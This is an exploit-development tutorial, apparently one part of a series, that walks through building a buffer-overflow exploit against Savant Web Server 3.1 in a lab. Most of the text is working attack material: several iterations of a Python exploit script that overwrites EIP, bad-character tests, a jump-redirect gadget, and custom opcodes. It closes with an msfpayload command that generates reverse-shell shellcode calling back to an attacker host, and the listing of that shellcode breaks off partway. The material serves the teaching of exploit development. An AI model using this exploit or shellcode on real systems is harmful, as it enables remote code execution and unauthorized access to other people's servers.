Addresses. You will need to substitute the addresses of your own systems where
ever these addresses appear in the code or commands listed below.  

  * Attacker system: 192.168.20.11
  * Victim system: 192.168.10.27

  
The two systems are networked together and I have interactive GUI access to
the desktop of the victim system via a remote desktop session. You will need
to be able to easily and quickly switch between controlling your attacking
system and the victim system when following this tutorial, and you will need
to be able to transfer files from your victim system to the attacking system,
so make sure you have things set up appropriately before you proceed.  
  
**  
**  
**Required Software on Attacking and Victim Systems**  
  
Your attacker and victim systems will need the following software installed in
order to follow this tutorial. By using BackTrack 4 Final for your attacking
system you will take care of all but the last attacking system
prerequisitites. The last piece of software is a basic perl script I wrote
specifically for performing certain tasks during the exploit development
process. There are other more efficient ways to achieve the same goals, but
using these will give you a better appreciation of how the process works.  
  
The attacking system requires the following software:  

  * Perl interpreter
  * Python interpreter
  * Metasploit 3.x
  * Text Editor
  * Netcat
  * generatecodes.pl

  
The victim system requires the following software:  

  * Savant Web Server 3.1
  * OllyDbg 1.10

  
Ensure that all required software is installed and operational before you
proceed with this tutorial.  
  
As an optional step, you may also want to have a Windows system with a version
of the Microsoft C compiler installed, so that you can compile yourself a copy
of the egghunter generating Windows executable. Any of the free Visual Studio
programs will do, such as Visual Studio 2008 Express. You will still be able
to complete this tutorial without this however, as I will generate an
Egghunter below which you can copy and paste.  
  
And no, other Windows C compilers such as MinGW wont work for compiling this
particular program.  
  
  
**Attaching Savant Web Server to a Debugger**  
  
If you have been following my other tutorials you should be very familiar by
now with the process of attaching programs to a debugger, so Im not going to
go over it again in detail here.  
  
For this exploit you need to attach to savant.exe which by default is
installed in C:\Savant\\. As per usual, you need to restart the program in the
debugger each time you want to trigger the vulnerable crash.  
  
  
**Triggering the Vulnerable Crash**  
  
This is a slightly picky vulnerability to exploit. We trigger an exploitable
crash by sending a request to the server with a URI of a specific length. The
% character must be present in the buffer we send in the request and the
buffer must be sized very precisely to give us an EIP overwrite.  
  
The HTTP method in the request \(this is the part before the URI and is
normally set to something like GET or POST\) can be anywhere from 0 to 38
characters in length, and the actual text used can be more or less arbitrary
as well.  
  
To initiall trigger the exploitable crash I began by sending a GET request
with a URI of /% followed by 258 "A" characters. The following Python code
will send this request to the server.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\x41" \* 258  
>  httpmethod = "GET"  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
This causes an overflow overwriting EIP.  
  

<img src='img/Temp2_8122.png' />

  
Checking our registers at the time of the crash we see that nothing appears to
be pointing close enough to the start of our buffer in memory.  
  

<img src='img/Temp2_8101.png' />

  
But have a look at the stack, the second entry down points to a GET string. We
sent this at the beginning of our buffer, so lets follow it in the Dump and
see whats in memory.  
  

<img src='img/Temp2_8107.png' />

  
OK this stack entry appears to point to a few bytes in memory before our
buffer full of A characters starts.  
  

<img src='img/Temp2_8118.png' />

  
If we can get to this second entry on the stack and execute a RETN
instruction, we will be able to redirect execution to where our GET string
exists in memory. Since we can actually set this GET string to another
arbitrary value, we can then include some machine code here to jump to the
buffer that follows in memory.  
  
  
**Finding the Overwrite Offset**  
  
But first of all we need to find out where our EIP overwrite occurs, so lets
add a Metasploit unique pattern to our buffer and check where the offset
occurs.  
  

> user@bt4:~$ /pentest/exploits/framework3/tools/pattern\_create.rb 258  
>  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7...Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5
>  
>
> Note: As per my usual process, I have truncated the output of the
> pattern\_create.rb script in the command output above and in the exploit
> below for readabilities sake. You need to use the whole string.
  
Insert the pattern into our exploit.  
  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = \("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7...Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5"\)  
>  httpmethod = "GET"  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
And run it. We get an overwrite with EIP pointing to 35694134.  
  

<img src='img/Temp2_8117.png' />

  
Lets find out where in our buffer that sits.  
  

> user@bt4:~$ /pentest/exploits/framework3/tools/pattern\_offset.rb 35694134  
>  254
  
The instruction pointer is overwritten at byte 254. Lets confirm this by
modifying our exploit appropriately.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\x41" \* 254  
>  badbuffer += "\x42\x42\x42\x42" \# EIP Overwrite  
>  httpmethod = "GET"  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Yes, this works as expected, EIP is overwritten with 42424242.  
  

<img src='img/Temp2_8119.png' />

  
  
So now we want to try and redirect execution into our buffer of \x41 "A"
characters. Lets start off by using that second entry on the stack to get to
our httpmethod string in memory. We can redirect execution to the location
pointed to by the second entry by POP-ing the first stack entry into a
register and then issueing a RETN command.  
  
So lets search for a loaded module with the following instructions included.  
  

POP r32

RETN

  
Looking at the list of loaded modules \(View menu->Executable Modules\), to
find a good module to search within we see that there are no third party
modules listed.  
  

<img src='img/Temp2_8120.png' />

  
Which module should we look in to find our POP, RETN commands?  
  
  
**Overwrite using part of the buffer?**  
  
At this point in the exploit development process, seeing no third party
modules loaded with our target executable, we would normally move on to one of
the Operating System loaded modules. This is because the main executable
usually contains a leading \x00 zero address, and sending this in a buffer
will breaks many exploits. In this case though, our overwrite occurs right at
the end of the buffer we are sending, and if we check the byte in memory
immediately after our 42424242 overwrite entry on the stack we can actually
see a \x00 zero byte in memory.  
  

<img src='img/Temp2_8125.png' />

  
  
Perhaps we can use this zero as part of our overwrite address so that we can
redirect execution back to the main program? Using an address in the main
program would then give us an exploit that could work universally, as we
wouldnt have to worry about the POP, RETN instruction we need being in
different places on different versions or patch levels of the Operating
System.  
  
Lets give this a try by leaving off a character from our buffer and putting
three characters into the buffer overwrite position instead of four. Now if
this works we will redirect execution to 0x00424242 in memory, which is
actually a valid address, so it wont cause our program to crash and stop in
the debugger, and we wont get to see what happens to it. Consequnetly, we
should set a breakpoint at this address to ensure our program doesn't hit this
location and run on without our control.  
  
Funnily enough however, if you actually go to this instruction in memory
\(right click in the CPU pane and select Go to->Expression, enter 00424242 and
hit OK\), you will find out that it already contains a \xcc character, which
is a INT3 breakpoint. So we dont have to do anything to ensure that our
program will stop in the debugger when this location is hit.  
  

<img src='img/Temp2_8116.png' />

  
  
Lets see if this part buffer overwrite works. Modify the exploit as follows.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\x41" \* 254  
>  badbuffer += "\x42\x42\x42" \# EIP Overwrite  
>  httpmethod = "GET"  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
So we run the exploit, and we end up hitting the breakpoint at 00424243 with
EIP pointing to instruction 00424243.  
  

<img src='img/Temp2_8103.png' />

  
Overwriting with only part of our buffer has worked\! Now we need to find an
appropriate instruction to use to redirect execution into our buffer.  
  
Right click in CPU pane and select Search for->Sequence of commands and search
for the following.  
  

POP r32

RETN

  

<img src='img/Temp2_8099.png' />

  
We find the first such grouping of instructions POP EBP, RETN at 00401D09.
Lets feed this into our exploit as shown below. We will also modify our GET
HTTP method and replace it with a breakpoint \(\xcc\) so that our program will
pause in the debugger if we redirect execution appropriately. The exploit now
looks as follows.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\x41" \* 254  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\xcc"  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
When we run this exploit, our execution stops in the debugger at the INT3
command and a few bytes below where our execution has stopped we can see the
\x41 characters from our buffer.  
  

<img src='img/Temp2_8115.png' />

  
After right clicking on our current position in the CPU pane and selecting
Follow in Dump->Selection we can see that our current position \(00B7EAB9 in
my case\) seems to be about 25 bytes away from where our \x41 bytes start \(at
00B7EAD2 in my case\).  
  

<img src='img/Temp2_8110.png' />

  
So in order to get from our current position in the httpmethod section of our
buffer to the area of our buffer with the \x41 characters, we need to do a
short jump 25 characters forward. The hexadecimal equivalent of the decimal
value of 25 is 0x19, so we use a \xeb\x19 to perform this short jump. We will
now modify our exploit to add a \xcc at the start of the buffer of \x41
characters so that our program will pause in the debugger when execution
reaches this point.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\xcc"  
>  badbuffer += "\x41" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\xEB\x19" \# SHORT JUMP 0x19  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Before you try and run this however, set a breakpoint at 00401D09. \(Right
click in the CPU pane, select Go to->Expression, enter 00401D09, hit OK, then
use the F2 key to set a breakpoint\). Be aware that whenever you run the
program from this point forward it will stop at this breakpoint just after you
set the program to run from its initial entry point. Just hit F9 again to get
the program running so that you can get it to a state where the exploitable
crash can be triggered.  
  
When I run this most recent version of the exploit and step through the code
\(F7 key\) to after the RETN instruction, I see a RETF instruction, a far
return with a machine language binary value of \xcb. My \xeb instruction seems
to have been modified to a \xcb - its a bad character for this particular
buffer.  
  

<img src='img/Temp2_8109.png' />

  
  
So it appears we have to deal with bad characters again.  
  
  
**Conditional Jumps**  
  
So how do we jump forward now? Well if we cant use a unconditional short jump
like \xeb, we can try and use a conditional jump. This will mean that we need
to take an additonal step to ensure that the conditions are correct for the
jump to take place, but this should be easily achievable once we find a
suitable jump instruction to use.  
  
Turning to my trusty X86 instruction set reference I can see that there are
literally dozens of conditional jump instructions to choose from \(look under
the Jcc section of the document\). To keep things as simple as possible
regards setting conditions to make sure the jump is taken, I will first of all
try out the conditional short jump instructions that look at the value of only
one flag.  
  
Not counting equivalent instructions, the conditional jump commands we can
test, along with their associated opcodes are:  

  * JO \x70
  * JNO \x71
  * JB \x72
  * JAE \x73
  * JE \x74
  * JNE \x75
  * JS \x78
  * JNS \x79
  * JP \x7A
  * JPO \x7B

  
Lets shove all of these into our httpmethod variable and trigger the exploit,
to see if any of these characters will make it through unmolested. Its
important to understand here that at the moment we are not trying to run these
as instructions, we are just doing a bad character check. The exploit should
now look like the following.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\xcc"  
>  badbuffer += "\x41" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\x70\x71\x72\x73\x74\x75\x78\x79\x7A\x7B" \# Test for working
> conditional jumps  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Make sure your breakpoint at 00401D09 is still set before running this, and
after you trigger the crash step through the code using F7 til after the RETN
instruction that takes you to the first character of the httpmethod variable.  
  

<img src='img/Temp2_8104.png' />

  
  
OK, after sending this we see that only the \x7B character makes it through
unmolested, so we will try and use this jump instruction to do our short jump.  
  
Looking at the description of this command in our X86 instruction reference
document, we see that it says "Jump short if parity odd \(PF=0\)". What this
means is that the jump will only be taken if the Parity Flag \(PF\) is set to
0, so to ensure the Jump is taken we need to find a command \(preferably a
short one that is not a bad charcter for our httpmethod\) that will set the
Parity Flag \(PF\) to 0.  
  
Just so you know how to check this value, if we look at it at the moment in
the registers pane of the debugger, for me this flag is currently set to 0.  
  

<img src='img/Temp2_8102.png' />

  
This is the correct value for the flag to have for our JUMP to work, but it's
not safe to assume that the flag will always be set to this value when our
exploit occurs. To ensure our JUMP gets taken we will want to run some other
commands first that will set the flag value appropriately. Which commands
should we use?  
  
According to wikipedia "In x86 processors, the parity flag reflects the parity
only of the least significant byte of the result, and is set if the number of
ones is even."  
  
It is set with the following operations:  

  * All arithmetic instructions;
  * Compare instruction \(equivalent to a subtract instruction without storing the result\);
  * Logical instructions - XOR, AND, OR;
  * the TEST instruction \(equivalent to the AND instruction without storing the result\).
  * the POPF instruction

  
  
Given those particuar types of instructions that set the Parity Flag, to
ensure that the value the flag is set to is predictable we will need to
prepare some register or memory values first, and given that this will require
us to run a number of commands at this point we might want to find out what
characters we have to work with so we can progress more efficiently.  
  
  
**Finding Bad Characters in the HTTP Method**  
  
We will use the generatecodes.pl script to give us sets of characters to feed
into the httpmethod buffer. We will exempt the characters we already know to
be bad, which are listed as follows.  

  

\x70\x71\x72\x73\x74\x75\x78\x79\x7A\xEB

  
I will also make the assumption that \x00\x0a\x0d are bad, and I will also
exempt the "/" \x2f character as it seperates the http method from the buffer
overflowing URL. The space character \x20 might also be a problem, so I will
put that in the bad list too.  
  
Now, we can enter up to 38 characters into the httpmethod buffer, but only 24
of them will appear in memory \(feel free to verify this yourself if you
wish\), so I will run generatecodes.pl to split the lines at 12 bytes \(for
those of you who are bad at maths, that's half of 24\).  
  
So we run generatecodes to list all characters except the ones we either know
or assume to be bad, and to split the output at 12 byte intervals.  
  

> user@bt4:~$ ./generatecodes.pl 00,0a,0d,20,2f,70,71,72,73,74,75,79,7a,eb 12  
>  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e"  
>  "\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"  
>  "\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27"  
>  "\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34"  
>  "\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
>  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"  
>  "\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58"  
>  "\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64"  
>  "\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x76"  
>  "\x77\x78\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84"  
>  "\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"  
>  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"  
>  "\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"  
>  "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"  
>  "\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"  
>  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"  
>  "\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8"  
>  "\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"  
>  "\xe5\xe6\xe7\xe8\xe9\xea\xec\xed\xee\xef\xf0\xf1"  
>  "\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd"  
>  "\xfe\xff"
  
Here we are essentially using the bad character checking method we have
practiced in the previous tutorials, so make sure you are familiar enough with
the process before we proceed. We are sending these characters from
generatecodes.pl to the program and making sure that they are represented
properly in the areas of memory where we are executing code. Because of the
small size of the buffer we are working with, we will need to change the value
of the httpmethod variable in the exploit and run it multiple times to test
all characters and find which are bad and which are good. Each time we run the
exploit we will test 24 or fewer of the characters provided by
generatecodes.pl.  
  
Lets start by inserting the first two lines from generatecodes.pl into the
httpmethod variable in our buffer and run the exploit to see which characters
get mangled.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\xcc"  
>  badbuffer += "\x41" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = \("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e"  
>  "\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"\)  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Running this does not cause a crash, so one of those characters we just
entered is bad. Lets break the httpmethod in half and test again. Use the
following setting for the httpmethod in your exploit and run it again.  
  

> httpmethod = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e"
  
This also does not cause a crash. Lets chop off the last 4 characters and try
again. Use the following setting for httpmethod.  
  

> httpmethod = "\x01\x02\x03\x04\x05\x06\x07\x08"
  
This does cause a crash, and characters \x01 to \x08 are all represented
faithfully. Remember that you need to step through the code from our
breakpoint and then check the characters in the CPU pane or preferably the
memory dump to see which made it through unchanged. To view them in the Memory
Dump right click on one of the instructions from the httpmethod variable in
the CPU pane and select, Follow in Dump->Selection. Based on all of these
first few characters coming through successfully, it looks like at least one
of the characters from \x09 to \x0e is bad.  
  
I have a strong feeling that the horizontal tab \x09 might be the bad one
\(check the ASCII Table to find Hex values for characters\), so I will restart
the program in the debugger and test the following set of characters in the
httpmethod variable.  
  

> httpmethod = "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e"
  
Sure enough, I got a crash and all characters listed were faithfully
represented. The horizontal \x09 looks to be a bad charcter.  
  
Now lets try the next two lines of output from generatecodes.pl. Restart the
program in the debugger and try the following value for httpmethod.  
  

> httpmethod = \("\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"  
>  "\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27"\)
  
This causes a crash, and all characters are faithfully represented in the
dump. All characters from this group are good.  
  
Lets do the next two lines. Set the httpmethod as follows and reun the
exploit.  
  

> httpmethod = \("\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34"  
>  "\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"\)
  
Again all characters are faithfully represented, so they are good. Im sure you
see the process I am using by now, so I wont continue to belabour the point
here. Continue on with this process until you have tested all characters and
determined which ones are bad \(which ones dont get represented in memory
exactly as they were sent\).  
  
OK, so once I completed this process I had the following newly discovered bad
characters:  

\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x76\x77\x78\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

  
This took the total set of bad characters to the following:  

\x00\x09\x0a\x0d\x20\x2f\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

  
The commands we use to modify the parity flag cannot use any of these
characters above.  
  
**  
**  
**Setting the Parity Flag**  
  
Given our requirement to set the Parity Flag to zero, and considering the list
of bad characters we have, what instructions will we use to set the Parity
Flag? Well, remember from our Wikipedia article that one of the ways to set
the value of the parity flag to one is to have the bit value of the least
significant byte in a register to have an even number of 1s after an
arithmatic instruction. Conversely to set it to zero the number of 1 bits
should be odd.  
  
So we need to run an arithmatic instruction that will set the least
significant byte of a register to a value whose binary representation contains
an odd number of zeros. To do this we first we need to set the least
signficant byte of a register to a known value, so the outcome of the
arithmatic instruction will be predictable.  
  
Now the least significant bytes in the EAX, EBX, ECX and registers EDX have
child registers that can all be used to set those bytes directly. The
registers are called AL, BL, CL and DL respectively \(where the L stands for
the Lower byte\). Information on this is here.  
  
If we move a known value into the AL register and perform an arithmatic
instruction on that register in order to modify it to a value whose binary
representation has an odd number of 1 bits, that will result in the Parity
Flag being set to 0.  
  
The following assembly instructions will achieve this, by setting the AL
register to 3 and then adding 1 to result in AL having a value of 4 whose
binary representation \(00000100\) has an odd number of 1 bits.  

  

MOV AL, 3

ADD AL, 1

  
In order for this to be used in our exploit however, we need to make sure that
the machine language representation of these instructions falls within our
allowed character set. The easiest way for us to test this is to use a nice
feature of OllyDbg which allows us to enter these instructions directly into
the debugger and have them translated into their opcode equivalents and
optionally run as part of the current program.  
  
  
**Direct Memory Modification in Ollydbg**  
  
Lets try to do this memory modification in Ollydbg.  
  
I currently have my Savant.exe program stopped in the debugger at the point
just after I have confirmed the last set of bad characters in the httpmethod
variable. I have stepped through execution from my breakpoint at 00401D09 to
the start of the bytes from the httpmethod variable.  
  
This resulted from running the current version of the exploit with the
following value for the httpmethod variable.  
  

> httpmethod = \("\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd"  
>  "\xfe\xff"\)
You can essentially follow on from this point in the tutorial by running a
version of the current exploit using almost any value for httpmethod, but you
may have to modify what you do slightly from the steps I take below. If you
have any trouble with the following steps Id suggest using the current exploit
with the above version of httpmethod.  
  
See the screenshot below to see where I am currently in the debugger.  
  
  

<img src='img/Temp2_8112.png' />

  
  
What I am going to now is double click on the instruction in the CPU pane
currently pointed to by EIP \(00C7EAB8\). This will bring up a window entitled
"Assemble at 00C7EAB8" which will contain the instruction currently present at
this address, which is RCL BL,CL for me. \(Please note that the exact
instruction here does not matter, as we are about to change it.\)  
  

<img src='img/Temp2_8108.png' />

  
  
  
I now change the instruction here to MOV AL, 3 which is the first of the
instructions we want to use to change the Parity Flag, and hit Assemble.  
  

<img src='img/Temp2_8106.png' />

  
  
You should now notice that the CPU pane now contains these new instructions at
the address pointed to by EIP, and they should be shown in red to indicate
that they have been changed.  
  
The Assmble window should still be open at this point, allowing us to enter
the next instruction ADD AL, 1, and hit Assemble once more to overwrite the
next instruction in memory. You should now see this instruction appear in red
in the debugger as well. Hit Cancel in the Assemble window.  
  
The two instructions you just entered should appear in the CPU pane as
follows.  
  

<img src='img/Temp2_8111.png' />

  
  
When we check the opcodes used to create these instructions, we see that they
are as follows:  
  

\xb0\x03 MOV AL, 3

\x04\x01 ADD AL, 1

  
These are all allowed characters, so they can be used in our httpmethod
variable.  
  
At this point we can run these instructions in the debugger and see the effect
that they have, but before we do this I am going to manually set the Parity
Flag to 1, just to confirm that these instructions will change the Flag value
back to 0.  
  
Double click on the Parity Flag setting in the registers pane in OllyDbg to
change its value from 0 to 1. It should turn red.  
  

<img src='img/Temp2_8124.png' />

  
  
Now we use the F7 key twice to step through the MOV and ADD instructions we
just added, and we see they they did, in fact, change the value of the Parity
Flag back to 0.  
  

<img src='img/Temp2_8114.png' />

  
  
At this point we can now insert our conditional jump instruction into the
debugger, to confirm that it will work. This time we will do a direct binary
edit on the memory, which will allow us to enter the machine code equivalents
of the commands we want, as opposed to the assembly instructions.  
  
First though we need to know how far forward we want to jump to get to our
next buffer. The values we need to know to determine this are the address of
the location where we want to jump to and the address where we will be jumping
from \(this is the address just after the JUMP command in memory\). We want to
jump to the \xcc character at the start of our \x41 "A" characters which in my
case is 00C7EAD2 \(See the screenshot below\).  
  

<img src='img/Temp2_8105.png' />

  
  
We will be jumping from the current location of EIP plus 2 which is where our
jump instruction will end. This is 00C7EABC + 2 or 00C7EABE. The difference
between these addresses is 0x14 so the binary data we need to enter in memory
is \x7B\x14 \(\x7B is the binary instruction for the conditional jump we will
be using, as taken from our instruction set reference manual\).  
  
To enter this in memory using a binary edit we need to select enough of the
instructions at and after the current position of EIP in the CPU pane in order
that 2 or more opcodes are selected, to allow us to edit two binary charcters.
I am selecting two instructions here, which consist of three opcode bytes.
Right click on the instructions you have selected and choose Binary->Edit from
the menu.  
  

<img src='img/Temp2_8126.png' />

  
  
You should now see an Edit code window which will allow you to perform a
binary edit on the instructions you selected. Replace the first two bytes with
7B 14 as shown below, and hit Enter. You dont need to worry about the value of
the third byte \(which I have left at its original value of D8 in the
screenshot below\).  
  

<img src='img/Temp2_8123.png' />

  
  
  
Your CPU pane should now look as follows.  
  

<img src='img/Temp2_8121.png' />

  
  
Please note that the memory you just edited should show a JPO SHORT command
with the address containing the location of the start of your \x41 characters
in memory \(00C7EAD2 for me\). In addition, in the section at the bottom of
the CPU pane you should see the text "Jump is taken", indicating that this
conditional jump we have just added will be taken. Hit F7 to run the
conditional jump and watch as execution redirects to the \xcc at the start of
our \x41 characters in memory.  
  
  

<img src='img/Temp2_8098.png' />

  
  
OK, this works, we have successfully redirected execution to the start of our
controllable buffer in memory. Lets modify our exploit as follows to include
these new instructions.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  badbuffer = "\xcc"  
>  badbuffer += "\x41" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\xb0\x03\x04\x01\x7B\x14" \# MOV AL, 3; ADD AL, 1; JPO 14  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n'  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
OK, we have now succeeded in redirecting execution into our buffer, and at
this pont we would normally go about the process of inserting some shellcode
and completing the exploit. But at this point, depending on the shellcode we
want to use, we have a bit of a problem. Can you guess what it might be?  
  
Lets generate some reverse shell shellcode and see...  
  

> user@bt4:~$ msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11
> LPORT=443 C  
>  /\*  
>  \* windows/shell\_reverse\_tcp - 314 bytes  
>  \* http://www.metasploit.com  
>  \* LHOST=192.168.20.11, LPORT=443, ReverseConnectRetries=5,  
>  \* EXITFUNC=process  
>  \*/  
>  unsigned char buf\[\] =  
>  "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"  
>  "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  
>  "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"  
>  "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"  
>  "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"  
>  "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"  
>  "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"  
>  "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"  
>  "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"  
>  "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"  
>  "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"  
>  "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"  
>  "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"  
>  "\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"  
>  "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"  
>  "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"  
